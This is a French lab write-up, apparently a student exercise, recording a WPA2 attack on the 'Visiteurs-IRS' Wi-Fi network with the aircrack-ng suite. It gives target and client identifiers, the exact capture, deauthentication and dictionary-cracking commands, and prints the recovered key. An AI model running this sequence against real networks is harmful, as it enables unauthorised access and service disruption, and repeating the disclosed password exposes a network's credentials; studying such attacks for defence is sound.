

Kali outil utilisé

Cible identifiée

- **SSID** : Visiteurs-IRS
- **BSSID** : 70:F3:5A:27:95:30
- **Canal** : 1
- **Chiffrement** : WPA2 CCMP PSK
- **Puissance** : -46 dBm (signal fort, proximité immédiate)
- **WPS** : activé (avec Fern)
- **Client connecté** : 2A:B7:E8:82:79:BE

Phase 1 — Préparation de l'interface

```
airmon-ng check kill
airmon-ng start wlan0mon
iwconfig wlan0mon
```

Résultat : wlan0mon en **Mode Monitor**, fréquence 2.442 GHz (canal 6 par défaut, reconfiguré ensuite sur canal 1).

Phase 2 — Scan des réseaux

airodump-ng a détecté **235 AP** au total dans l'environnement (visible dans Fern). Le scan a permis d'identifier Visiteurs-IRS parmi d'autres réseaux présents (StJoCampus, StJoLaSalle, StJoProf, Freebox, SNIR_cyber, MC...).

Phase 3 — Ciblage et capture du trafic

```
sudo airodump-ng -c 1 --bssid 70:F3:5A:27:95:30 -w capture_wifi wlan0mon
```

Fichier créé : capture_wifi-02.cap — 3061 paquets capturés. Le client 2A:B7:E8:82:79:BE est visible avec 7449 frames et des trames **EAPOL** (échanges du handshake).

Phase 4 — Déauthentification

```
sudo aireplay-ng --deauth 10 -a 70:F3:5A:27:95:30 -c 2A:B7:E8:82:79:BE wlan0mon
```

10 paquets DeAuth dirigés envoyés au client `2A:B7:E8:82:79:BE` entre 09:00:26 et 09:00:31. Le client a été forcé à se reconnecter, déclenchant l'échange du handshake WPA2.

Phase 5 — Validation du handshake

```
sudo aircrack-ng capture_wifi-02.cap
```

Résultat : **WPA (1 handshake)** confirmé pour `Visiteurs-IRS` / `70:F3:5A:27:95:30`. Le fichier `.cap` est valide et exploitable.

Phase 6 — Craquage du mot de passe

Tentative 1 — rockyou.txt (14 344 391 entrées) :

- Vitesse : 3230 k/s
- Temps estimé : 1h12 — mot de passe non trouvé dans rockyou (gros fichier avec 14 millions de mot de passe)

Tentative 2 — wordlistperso.txt (liste personnalisée) :

```
sudo aircrack-ng capture_wifi-02.cap -w /home/kali/Desktop/wordlistperso.txt
```

- 7/16 clés testées en moins d'une seconde
 - **KEY FOUND! [stjolorient]**
-

Revision #2

Created 21 May 2026 07:13:30 by Raphaël

Updated 21 May 2026 07:15:52 by Raphaël